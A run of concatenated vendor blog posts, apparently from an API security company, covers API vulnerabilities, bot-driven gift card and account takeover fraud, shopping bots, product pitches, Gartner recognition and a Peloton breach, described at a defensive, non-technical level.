• Sept 2nd, 2021: Bugcrowd reopens after escalation; submission forwarded to Fitbit.

This is the second of three guest blogs as part of our collaboration with Cequence. In the first blog on August 30, I wrote about how we’ve seen the level of API security knowledge increase since our initial research in 2019 but more must be done to secure the use of APIs in today’s hyperconnected world. In that first blog, I noted that CISOs (particularly in financial services organizations) and software developers have stepped up their API security game and I’ve seen a general increase in API security maturity. Nonetheless, reported API security vulnerabilities and API-related security breaches continue to pop up every month. Hence, more must be done.

In the last 60 days, we’ve seen API vulnerabilities reported for Cisco’s networking equipment, Bumble’s dating application, Microsoft’s PowerApps Platform, and Valve Software’s Steam Portal. In the case of Microsoft’s PowerApps Platform, cybersecurity firm UpGuard linked the API vulnerability to the disclosure of as many as 38 million records containing personally identifying information (PII). Security researchers reporting these vulnerabilities made the following cause attributions:

1. Cisco – Improper access control in an API that could lead to an attacker being able to read or write to files – and ostensibly tampering with device firmware. Impacted products included Cisco Application Policy Infrastructure Controller (APIC) and Cisco Cloud Application Policy Infrastructure Controller (Cloud APIC). Details can be found in CVE-2021-1577. This stemmed from broken authentication, #2 on the OWASP API Security Top 10 list.
2. Bumble – A security researcher received a $2,000 bug bounty for reporting a location-based vulnerability stemming from a poorly designed API endpoint. The vulnerability could be exploited by an attacker to spoof their location and determine the precise location of a Bumble user without authorization. A separate API vulnerability would allow an attacker to access a user’s profile information without being in their feed. This resulted from broken object level authorization, #1 on the OWASP API Security Top 10 list.
3. Microsoft – An open data protocol API used by PowerApps had a default setting that turned off table permissions and this made data publicly accessible. The primary cause was attributed to broken authentication, #2 on the OWASP API Security Top 10 list.
4. Valve Software – A vulnerability in the Steam Wallet API created the situation where a user could add value to their account by modifying user input. The input schema was protected by a hash function, but the implementation was flawed. The vulnerability was attributed to poor enforcement of payload schemas and netted a $7,500 bug bounty from Valve.

Fine, let’s just stipulate that despite improvements in API security maturity, the creation and implementation of APIs are complex and are still a challenge for many organizations and development teams. Additionally, security teams often lack the tools to test APIs to look for these vulnerabilities. But in the case of the first three examples, the OWASP API Top 10 has detailed descriptions and recommendations to help developers avoid these authorization and authentication issues. The Valve Software vulnerability is a bit more complex but could have been avoided via secure coding practices.

To be clear, simple awareness and cursory testing are not sufficient to avoid these security gaffes. API security maturity encompasses many other factors including designating an API security point of contact, maintaining an inventory of internal and external APIs, and publishing an API catalog or API development portal to assist internal developers or external implementers with API implementation.

More specifically, creating an API specification for each API using a standard such as OpenAPI or API Blueprint will define how the API functions and its relationship to data sources and other APIs. Through the development of the spec, it’s possible to uncover potential authentication and authorization shortfalls. Spec development can also lead to a threat modeling exercise with security professionals to determine “…so, what’s the worst that can happen?”

Now is the time to embark or double down on your API security improvement program.

­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­Joseph has been a cybersecurity analyst since 2019. He’s worked in information security for more than 45 years. His previous roles include operations officer for the U.S. intelligence community, a CISO at large publicly traded companies, and a cybersecurity strategy consultant for Accenture and PwC. He has worked in 115 countries, and he’s keenly interested in disruptive and emerging cybersecurity technologies.

According to Gartner, there are as many as 40 vendors in the (fragmented) API security space. Many take the approach of targeting development with new variations of testing tools or ways to fix/augment shift left efforts. API Sentinel takes a different approach, beginning on the “right” with complete visibility of all APIs at runtime. Once discovered, the APIs can be analyzed, gaps remediated and threats prevented, augmenting shift left efforts.

API Security: A CISO Led Initiative

With a firm belief that you need to shield right in order to shift left, runtime visibility first approach was how a large multi-national cosmetics customer chose to pursue their API security initiative. The customer is a heavy producer and user of APIs with development teams distributed around the world, augmented by a small group of third-party organizations. As happens with many organizations, their long-time use of APIs, the distributed nature of their development and lack of well-documented processes meant that they lost track of their APIs. The CISO told the team that 2021 was the year they would regain control of their API footprint in order to avoid any potential security incidents.

Easy and Straightforward Deployment

The team began their API security quest with four API security vendors that ranged from developer/testing tools focus to runtime security. Two of the four were quickly eliminated because of their primary focus on the development side and the team felt they needed to first gain a better understanding of what their API footprint really was (at runtime).

For the final Proof of Value (PoV), API Sentinel was deployed as SaaS-public cloud hybrid to analyze a small set of both external and internal APIs. A configuration change to redirect their external APIs to the API Sentinel SaaS instance and a Defender deployed in Azure Kubernetes Service to capture internal API traffic was completed in a matter of hours. Initial feedback from the customer team was positive – the other solution was cumbersome to deploy, requiring more time and effort.

API Discovery and Visibility Surprises

No one really likes surprises, particularly security professionals, unless the surprise is discovered before an attacker. In this case, API Sentinel discovered all of the APIs, complete with usage and geolocation statistics. The next level of visibility was the risk analysis, where API Sentinel discovered a few security gaps that development quickly remediated. The discoveries included:

• Internal APIs that had been inadvertently exposed to the public.
• Authentication errors and inconsistencies including no authentication, API token proliferation and non-null value auth tokens in use.
• A few APIs were exposing sensitive data in the form of (too much) user information.

Lastly, API Sentinel discovered anomalous traffic from an unknown organization scanning the customers’ API specification framework. Further investigation found it to be an API scanning tool, a new class of API testing tools that, like other tools, can also be used for malicious purposes. In this case, the tool was using a non-standard browser routed through a set of known bad IPs. The goal of the bad actor was to find all the API endpoints to then determine how they work and uncover exploitable gaps. The tool was quickly blocked to prevent further reconnaissance.

The Results

API Sentinel addressed the critical visibility requirement with flying colors. Not only was API Sentinel fast and easy to deploy, but it also discovered the APIs and some security gaps that were closed before they could become incidents. Using API Sentinel is driving collaboration between security and development, strengthening shift left efforts by uncovering inconsistencies in API coding and specification conformance without adding more work to the development team.

I am very excited to partner with Cequence for a three-part blog series and webinar on the top-of-mind subject of API security in financial services companies, fintechs and insurtechs. At Aite-Novarica Group, we initiated coverage of the API security space in 2019. At that time, we learned very quickly that API security knowledge was extremely low. In our conversations with chief information security officers, security architects, application developers, and security operations professionals we saw consistently that IT professionals – and particularly security teams – had very little visibility into the number of APIs traversing their networks. We embarked on a campaign to raise API security awareness through research, reporting, and a series of well-attended webinars. In 2020 we continued the journey and focused on how APIs are created and managed. We examined secure coding principles and interviewed more than 50 developers and security professionals at 31 financial services companies, fintechs and insurtechs. This led to our report on “Best Practices in API Security”, and we assessed the level of API Security as very low in several areas including API security testing, training for developers, and management of 3^rd party APIs. Some telling numbers from our interviews and research:

• Nearly half of the companies had no inventory of the APIs they produced or just an approximate count
• More than two-thirds of the companies indicated that they did not perform specific API security testing
• Only one of the 31 companies had a designated API security point of contact

We’re very happy to report that since 2019 the level of API security awareness has significantly improved, and we’ve seen both industry body and vendor initiatives to get API security on the radar of CISOs – particularly in financial services. Our follow-up conversations now start at a very informed level and it’s evident that cybersecurity professionals have become very conversant on both threats and defenses. Bravo. We’ve also seen a raising level of API security maturity by software developers, and we attribute part of this to increased sensitivity related to high visibility supply chain attacks (e.g., SolarWinds) and refreshed software assurance programs.

But we’re not done yet. API use continues to explode as more and more organizations dive into microservices, cloud workloads, open banking, and digital transformation products that use APIs to deliver new user experiences. APIs are here to stay. We’re still seeing a constant cadence of API related security breaches but overall, the market is on a good trajectory. But we must do more.

APIs are complex and it’s very easy to make mistakes related to authorization, authentication, and disclosure of too much information to attackers by way of error messages. For this reason, we are recommending specific API Security solutions that can complement, perhaps even strengthen shift left practices of secure API coding, API security testing, and API management. These API security products can shield the right, acting as an additional and important part of an organization’s API security defenses. We’re currently examining innovations related to API runtime protection and our initial analysis is that this is a viable method to limit exposure that might be introduced by API coding flaws or missteps in API management. Stay tuned as API security continues to be on our Hits List for 2021 and beyond.

Joseph has been a cybersecurity analyst since 2019. He’s worked in information security for more than 45 years. His previous roles include operations officer for the U.S. intelligence community, a CISO at large publicly traded companies, and a cybersecurity strategy consultant for Accenture and PwC. He has worked in 115 countries, and he’s keenly interested in disruptive and emerging cybersecurity technologies.

TL;DR

• A spike in malicious bot traffic with similar characteristics across more than 20 customers emanating from the same VPN vendor and its affiliated companies.
• Between July 21st and August 4th, average daily bot traffic from IP addresses owned by IPVanish, Highwinds Network Group, StackPath Data Center, Netprotect, Reliable Hosting, Inc. and Overplay.com increased 28X to an average of 700K transactions daily, spiking at 1.8M per day.
• Attacks are primarily account takeovers with the end goal of gift card and loyalty points fraud against retail customers.

Recommendations:

• Retailers should monitor login and gift card balance APIs for any increase in traffic from the organizations mentioned above and the following Autonomous System Numbers (ASNs): 12989, 33438, 62651, 22781, 11588, 13926. Block based on organization and ASN as necessary.
• Those not in the retail industry should take note, looking for suspicious traffic from these organizations and associated ASNs.
• Security analysts should also ensure that User-Agent (UA) strings like Googlebot are not allow-listed based solely on UA, as that provides attackers an added mechanism to hide in plain sight.

Details:

Threat actors have a range of mechanisms at their disposal to mask their identity and location. One approach recommended in some of the bot forums is to use a VPN provider like IPVanish. These commercial VPN services help legitimate users use the web more securely.

Those same features allow threat actors to mask identity and location across a global network and in the case of IPVanish, with no cap the number of simultaneous connections, they are an ideal infrastructure to use for executing an automated attack, as described in this threat advisory. Image 1 shows the volume of transactions generated during the recent spike and the number of IP addresses used.

Image 1: Transaction and IP address distribution across different organizations.

The legitimate use of these VPN services makes the “block or not?” security decision difficult. Prior to the spike observed on July 21, usage patterns from these organizations within our customer base were either benign or limited to periodic, relatively targeted (and mitigated) attack bursts.

As shown in image 2, on July 21st threat actors drove a 57X traffic spike to 1.44M daily transactions reaching a high of 1.87M per day on August 4th.

Image 2: Daily transactions from IPVanish and related organizations.

Retail Gift Card and Loyalty Points Programs Targeted

Traffic flowing through these organizations’ IP addresses attacked as many as 15 different customers across multiple industries. However, more than 99% were targeted retailers with popular gift card and loyalty programs. Continuing the trend seen over the past year, threat actors continue to target APIs as opposed to web apps, with 90% of all attack traffic funneled through APIs.

IndustryTransactions Analyzed% of TotalRetail/E-Tailer/E-Commerce16,098,62199.6%Romance/Relationship35,4250.2%Financial Services18,4100.1%Digital Media3,6890.0%16,156,145100.0%

Attacks and Characteristics Observed

While the attacks were seen in multiple industries, the focus was on retailers specifically to execute ATO and gift card fraud as described below.

• “Scrape and Sell” gift card abuse: The attackers are using a bot to commit account takeover, log into the compromised accounts and request gift card balance information from the profile APIs. This information would then be resold later on the market for future abuse.
• “Steal and Purchase” gift card abuse: The attackers used a bot to commit account takeover, using the compromised account to purchase goods, paying for them with the value extracted from the gift card. In some cases this appeared as attackers using loyalty points to then purchase more gift cards, which were then redeemed for goods.
• Shopping bot gift card abuse: Attackers used a bot to execute a shopping journey faster than a competing human, and then during the checkout phase attempt to enumerate possible gift card numbers against a separate API, applying any valid numbers to the checkout.

Unique characteristics used to evade defenses:

• Masking themselves as a Googlebot: In some cases, the threat actors tried to mask themselves as a Googlebot by modifying the user agent string to Googlebot/2.1 (https://www.google.com/bot.html). Security analysts should review Googlebot Documentation and observe the characteristics of legitimate Googlebot traffic. For instance, it is coming from “Google Cloud”, “Google Partners”, “Google inc.”, etc. by DNS ISP or Organization name records. Analysts should also ensure that Googlebot User-Agent strings are not whitelisted by default.
• Using nurtured or fake accounts: In other cases, attackers used a set of fake accounts that have been harvested over time. As these accounts were often created by the attackers themselves, the patterns don’t appear like account takeover, as they always log in successfully. These nurtured accounts can later be sold, or used as mule accounts to execute any purchases/transactions on the site.

Global Distribution

The transactions observed emanated from more than 20 locations, distributed across all six of the providers mentioned. Patterns observed include:

• The primary country of origin was the U.S. with 69% or 11M of the 16M transactions analyzed.
• The largest attack observed targeted a large retail organization with traffic distributed across all 6 organizations, originating from 15 countries.
• Across all customers that were under attack, traffic was distributed across 11 global locations.

Image 2: Image 3: Global distribution of transactions analyzed.

As most of the IPVanish exit nodes are geolocated in commonly used countries like the US and the UK, the recommendation for security analysts is to use geo-location only as a datapoint. Monitoring these organizations and executing any blocks should be done based on ASN data and CIDR ranges to maximize effectiveness and avoid false positives.

Summary

The data and attack patterns described are intended to provide retail security and fraud teams with usable threat intelligence that may be impacting their own environment. As with any recommendation to block traffic, an appropriate analysis should be applied to ensure legitimate users are not prevented from using the application of services.

As a co-founder of Cequence, I get the pleasure of seeing firsthand how our products help our customers protect their APIs from malicious attacks that can lead to fraud and data loss. However, the challenge any small company has is getting the word out to the market at large, particularly in the crowded API Security space. So it’s with great pride that I highlight Gartner’s recognition in several recent research reports and a webinar. These mentions are great validation points for our customers, our prospects, our team, and me personally. A summary of the Gartner recognition is below.

• Our most recent point of recognition is in the Hype Cycle for Application Security assembled by Joerg Fritsch. Cequence was recognized as a vendor in both the Bot Management segment authored by Jeremy D’Hoinne, Ramon Krikken, and Akif Khan as well as the API Threat Protection segment, authored by Mark O’Neill and Jeremy D’Hoinne. The API Threat Protection vendor recognition for Cequence was also included in the Hype Cycle for APIs and Business Ecosystems authored by Mark O’Neill and John Santoro and the Invest Implications: Hype Cycle for Application Security authored by Frank Marsala.
• Prior to the Hype Cycle for Application Security recognition, we were recognized in the API Security: Protect your APIs from Attacks and Data Breaches webinar by Mark O’Neill and Dionisio Zumerle. The webinar explored the attack paths for APIs and how your team can protect against them by building secure APIs. Mark and Dionisio provide advice on how API discovery and API security testing help strengthen this initiative.
  

• Using one of the slide images from the webinar, I see API Sentinel helping our customers implement their API-first initiatives by helping them find, track and protect their public-facing and internal APIs. We do this in three ways:
  • API Sentinel identifies internal and public-facing APIs through native integration with API management infrastructure including API gateways, load balancers, CDNs, proxies, and ingress controllers. The Discovery API allows you to proactively push API metrics from other network sources to API Sentinel as an alternative to an inline deployment.
  • The breadth of API Sentinel network integration options allows us to see managed, unmanaged (shadow, unsecured), and third-party APIs, giving our customers a complete inventory of their internal and public-facing APIs. Once discovered, APIs are analyzed and protected from threats.
  • Finally, CQAI, our patented ML-based analytics engine detects the most sophisticated automated attacks hiding in plain sight with findings then used in policy to stop the attack or forwarded to an external source via the Export API for enforcement, analysis, and deporting.

• Lastly, we were also recognized as a Bot Vendor in the Market Guide for Online Fraud Detection authored by Akif Khan and Jonathan Care. The OFD market is defined by Gartner as solutions that detect and prevent wrongful or criminal deception within digital (browser and app) B2C channels. Gartner considers OFD to be a foundational technology deployed within these digital channels to prevent direct and indirect losses and to mitigate risk. The core capabilities within the OFD market consist of:
  • Monitoring payment transactions to detect suspicious activity.
  • Protecting the integrity of the login process to prevent account takeover (ATO).
  • Augmenting identity proofing processes to deter new account fraud.

I am happy to see our name listed as an OFD vendor by Gartner – we have been helping our customers fight fraud in the form of account take over, account signups, and micro payment theft in volumetric form driven by automated bots and low and slow manual efforts. On a daily basis, we analyze billions of transactions a day, the bulk of which are very sophisticated ATOs. By preventing successful ATO and fake account creation attacks, we are stopping the avenues of fraud in their tracks. Check out the Gartner Peer Insight reviews to see what our customers are saying.

One last takeaway from the Gartner recognition is that we are the only vendor to be featured both in the API Security and Bot Management Application Security Hype Cycle segments. This fact underscores and supports our vision and strategy that these two categories are closely related and may eventually merge. APIs need to be continuously discovered, cataloged, and protected from a variety of run-time threats that are exploiting inherent weaknesses – be it improperly configured authentication or volumetric abuse of their business logic using bots. We believe we are on the right path to continue helping our customers protect their APIs – and want to thank the team at Gartner for helping us validate our vision.

*Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

When RSA Security announced an end-of-life (EOL) for Silver Tail, a popular fraud analytics and prevention product, they left a lot of customers scrambling to find an alternative. If you find yourself in that very situation, read on. The Cequence Application Security Platform (ASP) was designed to solve the same use cases as Silver Tail, but in a manner that is more adaptable to today’s dynamic and aggressive fraud tactics.

Why Fraud Teams Love Silver Tail

Born out of the PayPal security group about ten years ago, Silver Tail was geared towards fraud and security analysts, providing them with a powerful “Analyst Workbench” that gave them fingertip visibility into application transactions across the entire enterprise by:

• Sensing network data for application transactions from a variety of network devices like SPAN/TAP ports, load balancers, network inspection devices, etc,
• Storing this application transaction information in a database,
• Running a set of customizable heuristics on the stored data to detect fraudulent activity or transactions, and
• Providing security/fraud analysts with a workbench-like interface to search and analyze the data in a variety of ways.
• Ability to integrate with other security tools and security intelligence sources
• Workflows into alerting and actioning systems that either prevented fraud or limited the damage from fraud

Customers use Silver Tail to detect fraud caused by account take over (ATO) and fake account creation executed manually or using automation. The second type of fraud detected by Silver Tail is man-in-the-browser (MIB) or man-in-the-middle (MIM).

Silver Tail Limitations

With its powerful Analyst Workbench capabilities, Silver Tail garnered a strong enterprise following. As online fraudsters became more sophisticated, limitations associated with manpower requirements, speed of detection, and endpoint coverage emerged.

Dependent on Manual Analysis – Silver Tail had no built-in heuristics which meant that fraud or security analysts needed to write customized heuristics best suitable for their environment and use-case to make it work. On the flip side, this customization made Silver Tail very sticky – users that made it work for them love the product and its flexibility. Today, the increased attack sophistication has changed the analyst role into one that is more focused on data science.

No Real-time Detection – Silver Tail was architected to collect, store network data, then index the fraud findings for heuristic analysis – which meant delays in finding fraudulent activity. Querying for data and building new heuristics was cumbersome. Certain types of attacks – those that were fast-and-furious were easy to detect, while low, slow and heavily distributed attacks were more difficult.

Web Only – Although nothing inherently prevented Silver Tail from supporting mobile and API end-points, it is predominantly focused on web apps. As APIs and mobile applications became more commonly used and Silver Tail neared the end of life, organizations struggled to make it work in their environment.

Detection Only, No Mitigation – Silver Tail was built for fraud teams who commonly worked with security, or business groups to take action based on the findings, so its “Detect Only” capability made sense. The fraud and attack landscape has changed making the need for quick action, blocking natively, or exporting the findings to an existing tool for action, a necessity.

Cequence Security: An AI-based Approach to Fraud Prevention

Cequence Security uses a patented ML-based analytics engine called CQAI to detect automated fraud. Deployed at network integration points close to the applications, just like SilverTail, CQAI uses more customizable automation indicators, statistical and machine-learning models to detect fraudulent activity. Findings and the associated network data are graphically displayed in the management dashboard for analysis. Using native APIs, the findings can then be exported to external systems such as SIEMs, SOARs, and anti-fraud solutions, thereby allowing the security and anti-fraud teams to collaborate. Optionally, native mitigation capabilities can be implemented via policy. The ability to separate duties in this manner is ideal for organizations that have both fraud teams and bot (security) teams that may or may not work closely together.

CQAI: “It’s an Analyst Workbench on Steroids”

One of our Silver Tail replacement customers made the comment that CQAI is Silver Tail on steroids. The Cequence Application Security Platform uses automation, machine learning, and extensibility to solve help Silver Tail customers quickly uncover and take action on fraudulent activity.

Simplifies Fraud and Security Analysis –Silver Tail required analysts to spread their efforts across query creation and monitoring prior to any activity analysis. With CQAI, more than 180 customizable ML-based rules and policies automatically surface potentially fraudulent activity. The time savings provided by CQAI will allow analysts to focus the bulk of their efforts on the task of data science; validating any fraudulent behavior hiding in plain sight. The management dashboard provides the ability to view and analyze the data or the findings can be analyzed using powerful Kibana-based queries. A REST-based API allows findings to be sent to external systems for mitigation, reporting, or forensics.

Real-time Detection – CQAI is a streaming engine and it processes data as soon as it is sensed on the network thereby providing actionable results in real-time.

API, Web and Mobile Application Protection – Cequence ASP uses an agentless, ML-based approach to protect web and mobile applications along with their respective APIs without requiring any application changes or integration.

Optional Native Mitigation – The Cequence Application Security Platform allows you to choose between exporting the findings to a 3rd party offering (e.g., anti-fraud, SIEM, etc.) for mitigation or doing so natively using policy. Scalpel-like native mitigation allows you to customize responses such as block, rate limit, or geo-fence per application with an agnostic approach to IP address and HTTP header field rotation. A deception option allows you to deliver fake responses that appear to be real application responses.

Cequence Application Security Platform uses CQAI, an ML-based analytics engine to provide Silver Tail users with Analyst Work Bench-like functionality without significantly modifying existing workflows, or roles and responsibilities. To learn more, please sign up for a free 30-minute consultation using the form below. We look forward to speaking to you.

We recently wrapped up our fiscal year and while it was a challenging year in many respects, our business thrived. Even though we had instituted weekly (virtual) company all-hands to keep everyone abreast of the business (and connected), we had not realized the range of milestones achieved until we looked back collectively during our annual business review. Our achievements were across the board – customer growth, company expansion, new products and patents, and last but not least, we brought on a new investment partner. Taken collectively, they can be described in one word – momentum – which is critical to any business.

• Customer growth: We nearly tripled our annual revenue and increased the number of brands protected by 425 per cent across 15 different countries.
  • Retail: Securing transactions for hundreds of retailers whose customers make up over 70 percent of the U.S. adult population.
  • Telecommunications: Protecting API-based transactions for more than 100 million customers.
  • Financial services: Delivering secure API transactions for digital banking providers who serve over 30 million users.
  • Online dating: Preventing romance fraud for nearly 70 million users.
• Two billion API transactions protected daily: Threat actors ramped up their attack efforts with increasing sophistication and new service models to where we are now analyzing and protecting billions of transactions.
  

• Grew our global team by 33 per cent: New team members in nearly every department brought on board to help grow the business. We added field sales, threat research and support personnel in EMEA to support our international customers.
• New patents and new products: Bolstering our unique AI-based approach to discovering and protecting APIs and web applications, we were granted four new patents. Our product portfolio grew with the addition of API Sentinel, which addresses the need to find and protect the many APIs being deployed globally.
• Strategic investments: T-Mobile Ventures invested in the business, along with existing investors Dell Technologies and Shasta Ventures.

Each of these milestones are significant in their own right, but collectively, I think you would agree that they represent significant momentum moving forward. Can’t wait to see what the new fiscal year will bring.

Retailers, shoppers and threat actors alike are preparing for the big day: Amazon Prime Day, when there are retail sales opportunities to be had as retailers run their own sale event to compete with, or leverage the public visibility of the day. There will be deals and (figuratively speaking) there will be steals. As the sale event approaches, shoppers and threat actors will prepare in much the same way. To find the deals, shoppers may set alerts, save bookmarks, download the app, create an account (perhaps multiple), and update the credit card on file, all in an effort to ensure they make a successful purchase.

Threat actors will prepare in the same way. However, to ensure their anonymous success, they will use automation, community forums, predefined tool kits and commercialized bot services (BaaS) – much to the dismay of the legitimate shopper.

Should Retailers Care Who Gets the Deal?

A sale is a sale, right? Perhaps. A sale to a legitimate buyer increases the chances they will become, or remain a customer, buying repeatedly based on sales and promotions and sharing their positive experiences with their network of family, friends and social media acquaintances. Statistics show that the cost of retaining a customer is far less than the cost of acquiring a new customer, while the revenue generated is comparatively higher. On the negative side, customers who lose a purchase to a bot are more likely to give negative reviews, sharing their poor experience on social media resulting in brand damage and start shopping elsewhere.

Based on a recent Forrester survey of more than 400 CIOs/CISOs and product managers, bots impact the business in many ways:

• 49% of the respondents indicated that employees were frustrated and are unable to do their job
• 37% saw customer frustration and loss of trust
• 39% documented an increase in infrastructure costs
• Most impactful was the fact that nearly half (48%) of the survey participants had seen bots negatively impact revenue with rates as high as 10%

Success Stories for Repelling Automated Shopping

When faced with an automated shopping bot attack, understaffed retailers are often overwhelmed by an army of threat actors using sophisticated tools to achieve their end goal. Over the last 12 months, Cequence Security has helped retailers successfully repel automated shopping attacks, more rapidly and with greater efficacy then their incumbent solution.

• Making a Change Weeks Before the Holidays: Normally, most retailers lockdown their networks and security settings long before the holidays set in to help ensure a successful season. In an unprecedented move, this clothing and home décor retailer chose to replace their incumbent bot solution just weeks before the holidays.
• From Under Attack to Protection in 33 Minutes: In this scenario, a new customer with an unprotected mobile application was able to make the necessary configuration and policy updates to protect the application in just 33 minutes. In contrast, the previous vendor would have needed several months to integrate the mobile SDK into the new app.
• Near Immediate Time to Value: After more than a year of delays and frustration with the integration efforts required by the incumbent bot offering, this retailer chose to move to API Spartan SaaS. The results were near immediate with API Spartan detecting and preventing a sophisticated attack during the proof-of-concept stage.
• $200K Undetected Gift Card Fraud Stopped: During the proof-of-concept, an unprotected application flow was analyzed by CQAI, our agentless, ML-based analytics engine to uncover a sophisticated gift card fraud scheme. It had gone undetected because of the cumbersome JavaScript integration efforts required by the incumbent bot solution vendor.

With API Spartan, retailers are enabling their customers to snag legitimate deals while simultaneously preventing automated shopping bots from making a “steal.”

Whether they are participating in it or competing against it, retailers worldwide are preparing for Amazon Prime Day. No doubt threat actors are doing the same, choosing their targets, assembling the tools and infrastructure to execute their automated shopping bot attacks. Threat actors have taken note of the money to be made in the resale and gray markets for high-demand products and have increased their investment in the malicious tools needed to be successful. The automated shopping bot opportunity and investments are best exemplified in the rapid rise of Bots-as-a-Service, a commercialized set of tools that allows almost anyone to become a bot manager.

Relative to other types of automated bot attacks, shopping bots are among the most sophisticated, combining elements from scraping, fake account creation, account takeover, and enumeration attacks to achieve their end goal.

• Finding the target: Just as you and I might search for the item we want to purchase, so too will threat actors. Whereas we will find the desired object manually, threat actors use automation, scraping data from many sites, compiling it for use when the item goes on sale. For retailers, scraping is a difficult attack to defend against because it can be executed against APIs or via an HTTP Get instead of HTTP Post. Both techniques are capable of bypassing JavaScript telemetry collection used to block the activity.
• Preparing for the purchase: With the data for the target item compiled, the next phase is to mimic a legitimate buyer. Imitation happens in two ways – through classic account takeovers, or more commonly, through fake (guest) account creation. Most retailers will allow you to purchase using a guest account, which usually requires a valid email address. Threat actors use automation to create valid email accounts that are used to execute multiple purchases, which in the case of high-demand items, increases the chances of success. Defending against this type of activity requires advanced telemetry that combines multiple behavioral patterns to uncover the true intent.
• Purchase execution: In some cases, threat actors will use their own credit cards and shipping addresses to complete the purchase. For those that wish to remain anonymous, some services allow you to establish alternative payment mechanisms and shipping addresses. Using enumeration techniques, shipping confirmations can be tracked and checked anonymously.

Making Automated Shopping Operationally Efficient

As organizations execute cloud-first initiatives, they often look to SaaS offerings when adding or replacing enterprise applications. The reason: SaaS offerings help enterprises reduce the operational burden of deploying the application. Automated shopping bots have followed the same path. A threat actor no longer needs to assemble the arsenal of tools like OpenBullet, predefined attack configs and Bulletproof Proxy subscriptions to execute their attack. Now, fully commercialized Bots-as-a-Service (BaaS) combine each of the elements described above, augmenting them with plug-ins and other ancillary services. BaaS offerings range in price from $400.00 to $5,000.00, are specialized for certain sites, offering how-to guides, 24×7 support, user reviews with some offering guaranteed hit rates.

Whether the automated shopping attack is manually executed or fully automated via BaaS, retailers are faced with a problem that impacts the bottom line. According to Forrester Research survey of more than 400 respondents, 63% report losing between 1% and 10% of their revenue to web scraping attacks alone.

Cequence API Spartan Can Help

If you’re one of the organizations looking to improve your defenses against automated shopping bots, you should check out Cequence API Spartan. It is a dedicated bot mitigation solution that differentiates itself from others by being the only offering to not require the use of JavaScript or mobile SDK integration efforts.

See the platform in action:

In this week’s blog, we will talk about two recent customer scenarios where the value of our no JavaScript or SDK approach became evident in minutes: when customers needed to prevent an attack on a new application. As a reminder, Cequence uncovers malicious transactions hiding in plain sight with CQAI, a patented, multi-dimensional analytics engine. This means that there is no added web and mobile application development, QA, testing required to add and protect a new application. It also means highly sophisticated attacks are (more) effectively detected and blocked.

Previous blogs have discussed how quickly new customers were able to begin detecting and blocking attacks using the Cequence Application Security Platform SaaS. To begin protecting apps with the SaaS platform, a routing configuration is modified to redirect traffic to Cequence, then on to the origin server. Web, mobile, API-based applications are “onboarded” by tagging them so they can then be added to policies. The process is fast, simple and straightforward, placing no added burden on application development teams.

Scenario 1: From under attack to protected in 33 minutes

This new customer is working with our Customer Success team to migrate hundreds of web, mobile and API-based applications to the Cequence Application Security Platform SaaS. During the migration process, threat actors hammered a mobile application (not yet protected by Cequence) with an Account Takeover (ATO) attack. The timeline from attacked to protected is as follows:

• Assistance request (15 minutes): The mobile application is onboarded through a traffic routing configuration modification to direct the application under attack to Cequence, then on to the origin server.
• Attack detected and blocked (plus 3 minutes): The Cequence dashboard immediately showed that much of the traffic was sourced through Bulletproof Proxy networks, so the new application was added to existing known Bad Infrastructure policies to effectively mitigate ATO.
• Policy fine-tuning (add 15 mins): The Threat Monitoring Team fine-tuned the policy by adding several Behavioral Fingerprints that protected the application from retooling efforts commonly seen in this customer environment.

Customer Outcome: The ATO was prevented and traffic volumes returned to normal in just 33 minutes. If they had continued to attempt mitigation using their previous solution, the effort to prevent the attack would have taken days, possibly weeks because the SDK would have needed an update, testing, then rollout, and potentially a forced user upgrade. Once fully mitigated, the attackers made several retooling efforts where they changed the behavior and the infrastructure, yet the Cequence Behavioral Fingerprint automatically detected the retooling and blocked the attack. Thus providing sustained efficacy with minimal effort.

Scenario 2: ATO-based Gift Card Fraud Detected and Blocked in Roughly an Hour

This large, retail customer was predominantly targeted by automated shopping bots, so when they detected high volumes of suspicious account registration and login behavior, they were a bit surprised. Teaming up with the Threat Monitoring Service Team, they discovered that the malicious behavior was a sophisticated ATO campaign where compromised accounts were then used to generate (fraudulent) e-gift cards.

Customer Outcome: Within an hour, a Behavioral Fingerprint-based policy was deployed and blocked roughly a million malicious requests. Over the course of the following week, the attack continued, totaling roughly 7 million malicious requests mitigated. An outbound alert was configured to initiate account reset requests for any potentially compromised accounts. An added twist was that this particular threat actor had begun selling the attack configs to others, so the team added a deceptive response to the policy as a means of disrupting the economics of the future attacks.

A question may arise – Why wasn’t the attack prevented automatically? The answer lies in a combination of sophisticated attack behavior and the fine line required to ensure that the new policies were not blocking legitimate users. Compared to the previous bot prevention solution, an hour-long effort from detection to prevention felt instantaneous.

Both of these scenarios highlight key differentiators for Cequence – speed of deployment, ML-based detection of retooling (Behavioral Fingerprinting) and automated policy updates.

See Behavioral Fingerprinting in action in this short demo:

It’s out. The annual Verizon Data Breach Incident Report. 115 pages. Thousands and thousands of words. Eye-popping graphics. Zero mentions of API. No mentions of the term Application Programming Interface. One mention of the word programming, deep within an industry-specific section. Why no discussion on APIs as an Incident Classification alongside web application attacks? My speculative answer – APIs are plumbing. When you have a leak, your immediate concern is the damage and how to mitigate it. The “broken pipe” is not necessarily top of mind.

Using the Incident Classifications from the report and the OWASP API Security Top 10, here are some thoughts on how APIs may have been a factor behind the scenes, along with recommendations on how to address the security risk. Note that three Incident Classifications (social engineering, lost and stolen assets, everything else) were left out of the conversation as they have little to no direct connection to APIs.

Improving your API security posture is best done using a combination of documented best practices and technology to monitor and enforce policies. The OWASP API Security Top 10 list is a great place to start and you can see how Cequence Security can help enforce your best practices with comprehensive runtime API security.

By now most have heard about the Peloton data breach incident and no doubt the security team at Peloton is working long, hard hours to pull themselves out of this horrible situation. The damage is done but there are lessons we can, and should, learn from the incident. Peloton was one of the many different web-based service offerings that experienced explosive growth during the pandemic. Fitness buffs worldwide were forced indoors yet were still able to socialize while getting their workouts in. Their growth however had no impact on the security flaw – it likely existed from long before the pandemic began. So looking back what SHOULD peloton have done when the researcher first made contact.

Top OWASP API Security Vulnerabilities That Led to the Incident

The API vulnerabilities that led to the Peloton disclosure can be mapped to the OWASP API Security Top 10 vulnerabilities:

• API2:2019 Broken User Authentication
• API3:2019 Excessive Data Exposure
